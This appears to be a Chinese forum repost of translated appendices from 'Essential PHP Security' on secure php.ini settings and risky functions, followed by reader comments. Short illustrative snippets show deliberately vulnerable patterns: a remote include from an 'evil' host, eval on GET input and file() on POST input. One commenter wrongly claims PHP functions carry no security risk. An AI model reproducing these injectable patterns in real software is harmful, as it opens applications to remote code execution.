Essential PHP Security -PHP安全基础 (连载九)
时间:2006-03-30
来源:互联网
附录 A. 配置选项
尽管本书的焦点是在于应用的安全性,但有一些配置选项是任何关心安全的开发者必需熟悉的。PHP的配置会影响你所写代码的行为以及你使用的技巧,必要时你需要稍稍负责一下应用程序以外的东西。
PHP的配置主要由一个名为php.ini的文件所指定。该文件包含很多配置选项,每一项都会对PHP产生非常特定的影响。如果该文件不存在,或者该文件中的某选项不存在,则会使用默认值。
如果你不知道php.ini文件所在的位置,你可以使用phpinfo( )来确定PHP中对该文件路径的定义:
<?php
phpinfo();
?>
图A-1 所示的第六行(配置文件(php.ini)路径)显示了php.ini的完整路径。如果只显示了路径(没有文件名),这就意味着PHP无法在所示路径找到php.ini文件。
该文件包含的自身说明非常好,因此你可以阅读该文件并选择适合你的配置选项。而手册更是详细,所以在你需要某一选项的更多信息时,我推荐访问http://php.net/manual/ini.php
图A-1. phpinfo( ) 函数可用于php.ini文件的定位
A.1. allow_url_fopen
正如第六章所示,allow_url_fopen选项允许你如同本地文件一样引用远程资源:
<?php
$contents = file_get_contents('http://example.org/xss.html');
?>
在第五章中揭示了当它与include或require相结合时的危险性:
<?php
include 'http://evil.example.org/evil.inc';
?>
我推荐关闭allow_url_fopen选项,除非你的应用需要它。
A.2. disable_functions
disable_functions选项是非常有用的,它可以确保一些有潜在威胁的函数不能被使用。尽管可以建立规范去禁止使用这些函数,但在PHP配置中进行限制要比依赖于开发者对规范的遵循要可靠得多。
我建立对附录B列出的函数进行检查,看一下是否要对一些函数进行限制。
A.3. display_errors
PHP的错误报告可以帮助你发现你所写代码中的错误。当你开发应用时,把错误提示显示出来是取得即时反馈的有效方法,同时也可以加快开发速度。
在一个产品级的应用中,这一行为会成为一项安全风险。如果它显示错误信息,所有人就可以得知你的应用中的重要信息。
在产品中你需要关闭display_errors选项。
A.4. enable_dl
enable_dl选项用于控制dl()函数是否生效,该函数允许在运行时加载PHP扩展。
使用dl()函数可能导致攻击者绕过open_basedir限制,因此除非有必要,你必须在你的应用中禁止它。
A.5. error_reporting
很多安全漏洞是由于使用了未初始化的变量或其它随意的编程方法引起的。通过把PHP的error_reporting选项置为E_ALL 或 E_ALL | E_STRICT,PHP就会对上述行为进行提示。这些设置都为报告Notice级别的错误。
我建议把error_reporting至少设定为E_ALL。(译注:在开发中)
A.6. file_uploads
file_uploads选项决定了是否允许上传文件。因此,如果你的应用不需要用户上传文件,那么关闭该选项就是最好的选择。
只是简单地在PHP代码中不对上传文件进行处理是不够的,因为在执行你的代码前,PHP就做了一些工作(如根据相关部据生成$_FILES数组)。
A.7. log_errors
当log_errors设为有效时,PHP会向error_log配置选项指定的文件中写入所有出错信息。
当display_errors设为无效时,将log_errors设为有效是很重要的;否则你将无法看到睛出错信息。
我建议将log_errors设为有效并在error_log设定日志文件所在位置。
A.8. magic_quotes_gpc
magic_quotes_gpc是一个常用的选项,它目的是防止SQL注入。但出于很多原因,包括它转义输入的方式,证明了它是不完善的。
它对$_GET, $_POST, 以及 $_COOKIE中的数据使用同样的规则即addslashes( )函数进行处理。从而,它并没有根据你的数据库选用对应的转义函数进行处理。
基于两个主要的原因,你需要把get_magic_quotes_gpc设为无效:
首先,它会加大你的输入过滤逻辑的复杂性,这是由于它在执行你的代码前首先对数据进行了编辑。例如,你需要对输入的姓名进行过滤,其逻辑是只允许字母、空格、连词符以及单引号,当magic_quotes_gpc生效时,你必须适应形如O\'Reilly的姓名或者使用stripslashes( )尝试将它恢复原形。这一不必要的复杂性(或者说不严谨的过滤规则)加大了发生错误的可能性,同时,你的输入过滤机制中的缺陷必然会导致安全漏洞。
其次,它并没有根据你的数据库选用对应的转义函数进行处理。这样,由于它可以抵挡一些低层次或偶发的攻击,掩盖了它是一个糟糕的过滤或转义机制这个事实,从而留下了一个安全漏洞,使你的应用无法抵挡如针对字符集的攻击等更复杂的攻击手段。
A.9. memory_limit
为防止写得糟糕的脚本占用所有的可用内存,可以使用memory_limit选项对最大内存使用量进行限制(以字节方式或缩写方式如8M指定)。
尽管最佳的取值是与运行的应用是相关的,我还是建议在大多情况下使用默认值8M。
memory_limit选项只有在PHP指定了enable-memory-limit方式编译时才会生效。
A.10. open_basedir
open_basedir选项会限制PHP只能在它指定的目录中打开文件。尽管它不能取代正确的输入过滤,但该选项能减少利用文件系统相关函数如include及require进行的攻击。
该选项的值会被当做前缀使用,因此当你想表示指定目录时请小心不要漏了最后的斜杠:
open_basedir = /path/to/
小提示
请确认enable_dl选项是关闭的,否则open_basedir的限制可能会被绕过。
A.11. register_globals
见第二章
A.12. safe_mode
见第八章
[ 本帖最后由 alex 于 2006-3-29 16:23 编辑 ]
尽管本书的焦点是在于应用的安全性,但有一些配置选项是任何关心安全的开发者必需熟悉的。PHP的配置会影响你所写代码的行为以及你使用的技巧,必要时你需要稍稍负责一下应用程序以外的东西。
PHP的配置主要由一个名为php.ini的文件所指定。该文件包含很多配置选项,每一项都会对PHP产生非常特定的影响。如果该文件不存在,或者该文件中的某选项不存在,则会使用默认值。
如果你不知道php.ini文件所在的位置,你可以使用phpinfo( )来确定PHP中对该文件路径的定义:
<?php
phpinfo();
?>
图A-1 所示的第六行(配置文件(php.ini)路径)显示了php.ini的完整路径。如果只显示了路径(没有文件名),这就意味着PHP无法在所示路径找到php.ini文件。
该文件包含的自身说明非常好,因此你可以阅读该文件并选择适合你的配置选项。而手册更是详细,所以在你需要某一选项的更多信息时,我推荐访问http://php.net/manual/ini.php
图A-1. phpinfo( ) 函数可用于php.ini文件的定位
A.1. allow_url_fopen
正如第六章所示,allow_url_fopen选项允许你如同本地文件一样引用远程资源:
<?php
$contents = file_get_contents('http://example.org/xss.html');
?>
在第五章中揭示了当它与include或require相结合时的危险性:
<?php
include 'http://evil.example.org/evil.inc';
?>
我推荐关闭allow_url_fopen选项,除非你的应用需要它。
A.2. disable_functions
disable_functions选项是非常有用的,它可以确保一些有潜在威胁的函数不能被使用。尽管可以建立规范去禁止使用这些函数,但在PHP配置中进行限制要比依赖于开发者对规范的遵循要可靠得多。
我建立对附录B列出的函数进行检查,看一下是否要对一些函数进行限制。
A.3. display_errors
PHP的错误报告可以帮助你发现你所写代码中的错误。当你开发应用时,把错误提示显示出来是取得即时反馈的有效方法,同时也可以加快开发速度。
在一个产品级的应用中,这一行为会成为一项安全风险。如果它显示错误信息,所有人就可以得知你的应用中的重要信息。
在产品中你需要关闭display_errors选项。
A.4. enable_dl
enable_dl选项用于控制dl()函数是否生效,该函数允许在运行时加载PHP扩展。
使用dl()函数可能导致攻击者绕过open_basedir限制,因此除非有必要,你必须在你的应用中禁止它。
A.5. error_reporting
很多安全漏洞是由于使用了未初始化的变量或其它随意的编程方法引起的。通过把PHP的error_reporting选项置为E_ALL 或 E_ALL | E_STRICT,PHP就会对上述行为进行提示。这些设置都为报告Notice级别的错误。
我建议把error_reporting至少设定为E_ALL。(译注:在开发中)
A.6. file_uploads
file_uploads选项决定了是否允许上传文件。因此,如果你的应用不需要用户上传文件,那么关闭该选项就是最好的选择。
只是简单地在PHP代码中不对上传文件进行处理是不够的,因为在执行你的代码前,PHP就做了一些工作(如根据相关部据生成$_FILES数组)。
A.7. log_errors
当log_errors设为有效时,PHP会向error_log配置选项指定的文件中写入所有出错信息。
当display_errors设为无效时,将log_errors设为有效是很重要的;否则你将无法看到睛出错信息。
我建议将log_errors设为有效并在error_log设定日志文件所在位置。
A.8. magic_quotes_gpc
magic_quotes_gpc是一个常用的选项,它目的是防止SQL注入。但出于很多原因,包括它转义输入的方式,证明了它是不完善的。
它对$_GET, $_POST, 以及 $_COOKIE中的数据使用同样的规则即addslashes( )函数进行处理。从而,它并没有根据你的数据库选用对应的转义函数进行处理。
基于两个主要的原因,你需要把get_magic_quotes_gpc设为无效:
首先,它会加大你的输入过滤逻辑的复杂性,这是由于它在执行你的代码前首先对数据进行了编辑。例如,你需要对输入的姓名进行过滤,其逻辑是只允许字母、空格、连词符以及单引号,当magic_quotes_gpc生效时,你必须适应形如O\'Reilly的姓名或者使用stripslashes( )尝试将它恢复原形。这一不必要的复杂性(或者说不严谨的过滤规则)加大了发生错误的可能性,同时,你的输入过滤机制中的缺陷必然会导致安全漏洞。
其次,它并没有根据你的数据库选用对应的转义函数进行处理。这样,由于它可以抵挡一些低层次或偶发的攻击,掩盖了它是一个糟糕的过滤或转义机制这个事实,从而留下了一个安全漏洞,使你的应用无法抵挡如针对字符集的攻击等更复杂的攻击手段。
A.9. memory_limit
为防止写得糟糕的脚本占用所有的可用内存,可以使用memory_limit选项对最大内存使用量进行限制(以字节方式或缩写方式如8M指定)。
尽管最佳的取值是与运行的应用是相关的,我还是建议在大多情况下使用默认值8M。
memory_limit选项只有在PHP指定了enable-memory-limit方式编译时才会生效。
A.10. open_basedir
open_basedir选项会限制PHP只能在它指定的目录中打开文件。尽管它不能取代正确的输入过滤,但该选项能减少利用文件系统相关函数如include及require进行的攻击。
该选项的值会被当做前缀使用,因此当你想表示指定目录时请小心不要漏了最后的斜杠:
open_basedir = /path/to/
小提示
请确认enable_dl选项是关闭的,否则open_basedir的限制可能会被绕过。
A.11. register_globals
见第二章
A.12. safe_mode
见第八章
[ 本帖最后由 alex 于 2006-3-29 16:23 编辑 ]
作者: alex 发布时间: 2006-03-29
附录B. 函数
在我写作本书的时候,http://php.net/quickref.php列出了共3917个函数,其中包括一些类似函数的语法结构,在此我不准备把它们从函数中区分开来,而是把它作为函数看待。
由于函数数量很大,一一说明它们的正确及安全用法是不太可能的。在此我选出了我认为最需要注意的函数。选择的标准包括使用的频繁度、使用时的危险(安全)度及我本人的经验。
对于每一个列出的函数,我都会提供推荐的使用方法。在提出这些方法时,我会把安全作为重点考虑。请在实际使用时根据你的需求进行相应调整。
当一个函数与另一个有相同的风险时,我会给出参见另一个函数的信息,而不是多余地再次描述一遍。
B.1. eval( )
eval( )函数用于对一个字符串以PHP语句方式解析运行。如:
<?php
$name = 'Chris';
$string = 'echo "Hello, $name";';
eval($string);
?>
上例中会把$string作为PHP语句来运行,因此等价于:
<?php
$name = 'Chris';
echo "Hello, $name";
?>
虽然eval( )非常有用,但是当使用了被污染数据时会非常危险。例如,在下例中,如果$name是被污染的,攻击者可以任意运行PHP代码:
<?php
$name = $_GET['name'];
eval($name);
?>
当你无法确信以PHP方式解释的字符串是否使用被污染数据时,以及在可能的情况下,我推荐你避免使用eval( )。在安全审查和同行评审中,应重点检查该函数。
B.2. exec( )
第6章中已提到,执行shell命令是非常危险的操作,在构造shell命令时使用被污染数据会导致命令注入漏洞。
尽量避免使用shell命令函数,但当你需要用它们时,请确信构造shell命令时只使用过滤及转义过的数据。
<?php
$clean = array();
$shell = array();
/* Filter Input ($command, $argument) */
$shell['command'] = escapeshellcmd($clean['command']);
$shell['argument'] = escapeshellarg($clean['argument']);
$last = exec("{$shell['command']} {$shell['argument']}", $output, $return);
?>
B.3. file( )
file( )函数是我喜欢使用的读文件方法之一。它会读取文件的每一行作为返回数组的元素。特别方便的一点是,你不需要提供一个文件句柄――你提供文件名,它会为你做好一切:
<?php
$contents = file('/tmp/file.txt');
print_r($contents);
?>
如果上面的文件有两行,则会产生类似如下的输出:
Array
(
[0] => This is line one.
[1] => This is line two.
)
使用file( )函数不是特别危险,但当你在allow_url_fopen选项打开的情况下使用时,它就能读取许多不同类型的资源如一个远程网站的内容:
<?php
$contents = file('http://example.org/');
print_r($contents);
?>
输出如下 (有删节):
Array
(
[0] => <html>
[1] => <head>
[2] => <title>Example Web Page</title>
[3] => </head>
[4] => <body>
...
[11] => </body>
[12] => </html>
)
如果file()函数调用的文件名是由被污染数据构造的,则其内容也应被看成是被污染的。这是因为使用被污染数据构造文件名可能会导致你打开一个有恶意数据的远程网站。一旦你把数据保存在一个变量中,危险就大幅增加了:
<?php
$tainted = file($_POST['filename']);
?>
$tainted数组中的每个元素与$_POST['filename']有相同的危险性――它是输入并必须要进行过滤。
在这里,其行为有可能是意想不到的――$_POST['filename']的误用可以改变file()函数的行为,因此它可以指向一个远程资源而不是本地文件。
B.4. file_get_contents( )
参见 "file( )."
B.5. fopen( )
参见 "file( )."
B.6. include
如第5章所述,include在组织化与模块化的软件设计中被普遍使用,是非常有必要的。但是,不正确的使用include会造成一个重大的代码注入安全漏洞。
在include语句中只使用已过滤数据是非常有必要的。在安全审查和同行评审中,应重点检查该函数。
B.7. passthru( )
见"exec( )."
B.8. phpinfo( )
phpinfo( )会输出有关PHP信息的页面――运行的版本号,配置信息等等。由于phpinfo( )的输出提供了非常多的信息,我建议限制对任何使用该函数的资源的访问。
如果你使用的第八章中的技巧来保护数据库验证信息,则需要确认访问者不能看到由phpinfo( )形成的输出信息,这是由于它会暴露超级全局数组$_SERVER的内容。
B.9. popen( )
参见"exec( )."
B.10. preg_replace( )
preg_replace( )用于对符合正则表达式的字符串进行替换。在某些情况下,使用被污染数据构造正则表达式部分会非常危险,因为它的e修饰符会导致在替换时把用于替换的参数作为PHP代码来对待。例如(本例为译者所加):
<?php
$str = "abcdef";
$se = "len";
$reg = "/abc/e";
echo preg_replace($reg,"strlen(\$se)",$str);
?>
会输出如下字串:
3def
当使用了e修饰符,不管是否有意为之,它会带来与eval()相同的风险。在安全审查和同行评审中,应重点检查该函数。
B.11. proc_open( )
参见 "exec( )."
B.12. readfile( )
参见 "file( )."
B.13. require
参见 "include."
B.14. shell_exec( )
参见 "exec( )."
B.15. system( )
参见 "exec( )."
在我写作本书的时候,http://php.net/quickref.php列出了共3917个函数,其中包括一些类似函数的语法结构,在此我不准备把它们从函数中区分开来,而是把它作为函数看待。
由于函数数量很大,一一说明它们的正确及安全用法是不太可能的。在此我选出了我认为最需要注意的函数。选择的标准包括使用的频繁度、使用时的危险(安全)度及我本人的经验。
对于每一个列出的函数,我都会提供推荐的使用方法。在提出这些方法时,我会把安全作为重点考虑。请在实际使用时根据你的需求进行相应调整。
当一个函数与另一个有相同的风险时,我会给出参见另一个函数的信息,而不是多余地再次描述一遍。
B.1. eval( )
eval( )函数用于对一个字符串以PHP语句方式解析运行。如:
<?php
$name = 'Chris';
$string = 'echo "Hello, $name";';
eval($string);
?>
上例中会把$string作为PHP语句来运行,因此等价于:
<?php
$name = 'Chris';
echo "Hello, $name";
?>
虽然eval( )非常有用,但是当使用了被污染数据时会非常危险。例如,在下例中,如果$name是被污染的,攻击者可以任意运行PHP代码:
<?php
$name = $_GET['name'];
eval($name);
?>
当你无法确信以PHP方式解释的字符串是否使用被污染数据时,以及在可能的情况下,我推荐你避免使用eval( )。在安全审查和同行评审中,应重点检查该函数。
B.2. exec( )
第6章中已提到,执行shell命令是非常危险的操作,在构造shell命令时使用被污染数据会导致命令注入漏洞。
尽量避免使用shell命令函数,但当你需要用它们时,请确信构造shell命令时只使用过滤及转义过的数据。
<?php
$clean = array();
$shell = array();
/* Filter Input ($command, $argument) */
$shell['command'] = escapeshellcmd($clean['command']);
$shell['argument'] = escapeshellarg($clean['argument']);
$last = exec("{$shell['command']} {$shell['argument']}", $output, $return);
?>
B.3. file( )
file( )函数是我喜欢使用的读文件方法之一。它会读取文件的每一行作为返回数组的元素。特别方便的一点是,你不需要提供一个文件句柄――你提供文件名,它会为你做好一切:
<?php
$contents = file('/tmp/file.txt');
print_r($contents);
?>
如果上面的文件有两行,则会产生类似如下的输出:
Array
(
[0] => This is line one.
[1] => This is line two.
)
使用file( )函数不是特别危险,但当你在allow_url_fopen选项打开的情况下使用时,它就能读取许多不同类型的资源如一个远程网站的内容:
<?php
$contents = file('http://example.org/');
print_r($contents);
?>
输出如下 (有删节):
Array
(
[0] => <html>
[1] => <head>
[2] => <title>Example Web Page</title>
[3] => </head>
[4] => <body>
...
[11] => </body>
[12] => </html>
)
如果file()函数调用的文件名是由被污染数据构造的,则其内容也应被看成是被污染的。这是因为使用被污染数据构造文件名可能会导致你打开一个有恶意数据的远程网站。一旦你把数据保存在一个变量中,危险就大幅增加了:
<?php
$tainted = file($_POST['filename']);
?>
$tainted数组中的每个元素与$_POST['filename']有相同的危险性――它是输入并必须要进行过滤。
在这里,其行为有可能是意想不到的――$_POST['filename']的误用可以改变file()函数的行为,因此它可以指向一个远程资源而不是本地文件。
B.4. file_get_contents( )
参见 "file( )."
B.5. fopen( )
参见 "file( )."
B.6. include
如第5章所述,include在组织化与模块化的软件设计中被普遍使用,是非常有必要的。但是,不正确的使用include会造成一个重大的代码注入安全漏洞。
在include语句中只使用已过滤数据是非常有必要的。在安全审查和同行评审中,应重点检查该函数。
B.7. passthru( )
见"exec( )."
B.8. phpinfo( )
phpinfo( )会输出有关PHP信息的页面――运行的版本号,配置信息等等。由于phpinfo( )的输出提供了非常多的信息,我建议限制对任何使用该函数的资源的访问。
如果你使用的第八章中的技巧来保护数据库验证信息,则需要确认访问者不能看到由phpinfo( )形成的输出信息,这是由于它会暴露超级全局数组$_SERVER的内容。
B.9. popen( )
参见"exec( )."
B.10. preg_replace( )
preg_replace( )用于对符合正则表达式的字符串进行替换。在某些情况下,使用被污染数据构造正则表达式部分会非常危险,因为它的e修饰符会导致在替换时把用于替换的参数作为PHP代码来对待。例如(本例为译者所加):
<?php
$str = "abcdef";
$se = "len";
$reg = "/abc/e";
echo preg_replace($reg,"strlen(\$se)",$str);
?>
会输出如下字串:
3def
当使用了e修饰符,不管是否有意为之,它会带来与eval()相同的风险。在安全审查和同行评审中,应重点检查该函数。
B.11. proc_open( )
参见 "exec( )."
B.12. readfile( )
参见 "file( )."
B.13. require
参见 "include."
B.14. shell_exec( )
参见 "exec( )."
B.15. system( )
参见 "exec( )."
作者: alex 发布时间: 2006-03-29
阅读是一种享受.
作者: 帅的不能再输啦 发布时间: 2006-03-29
一般这些所谓的php安全都大可以不用看,服务器是我的,自己随便配置,函数没有任何安全危险。过滤sql(不会这个都不会?)
然后错误报告发给自己,前台少量信息。
没事你老是公开代码么?
然后错误报告发给自己,前台少量信息。
没事你老是公开代码么?
作者: gege 发布时间: 2006-03-30
引用:
原帖由 gege 于 2006-3-30 05:55 发表一般这些所谓的php安全都大可以不用看,服务器是我的,自己随便配置,函数没有任何安全危险。过滤sql(不会这个都不会?)
然后错误报告发给自己,前台少量信息。
没事你老是公开代码么?
作者: alex 发布时间: 2006-03-30
引用:
原帖由 gege 于 2006-3-30 05:55 发表一般这些所谓的php安全都大可以不用看,服务器是我的,自己随便配置,函数没有任何安全危险。过滤sql(不会这个都不会?)
然后错误报告发给自己,前台少量信息。
没事你老是公开代码么?
[ 本帖最后由 geluli 于 2006-6-7 16:13 编辑 ]
作者: geluli 发布时间: 2006-06-07
:L :L :L :L :L
说句实话
翻译的实在太烂了
根本是直接用金山词霸翻译整篇翻译出来的嘛!
语句根本是难以理解
不如看英语还更容易懂一些
希望能够把各种语句在中文化一些
更通顺一些!
:L :L :L :L :L :L
说句实话
翻译的实在太烂了
根本是直接用金山词霸翻译整篇翻译出来的嘛!
语句根本是难以理解
不如看英语还更容易懂一些
希望能够把各种语句在中文化一些
更通顺一些!
:L :L :L :L :L :L
作者: fentin 发布时间: 2006-11-21
相关阅读 更多
热门阅读
-
office 2019专业增强版最新2021版激活秘钥/序列号/激活码推荐 附激活工具
阅读:74
-
如何安装mysql8.0
阅读:31
-
Word快速设置标题样式步骤详解
阅读:28
-
20+道必知必会的Vue面试题(附答案解析)
阅读:37
-
HTML如何制作表单
阅读:22
-
百词斩可以改天数吗?当然可以,4个步骤轻松修改天数!
阅读:31
-
ET文件格式和XLS格式文件之间如何转化?
阅读:24
-
react和vue的区别及优缺点是什么
阅读:121
-
支付宝人脸识别如何关闭?
阅读:21
-
腾讯微云怎么修改照片或视频备份路径?
阅读:28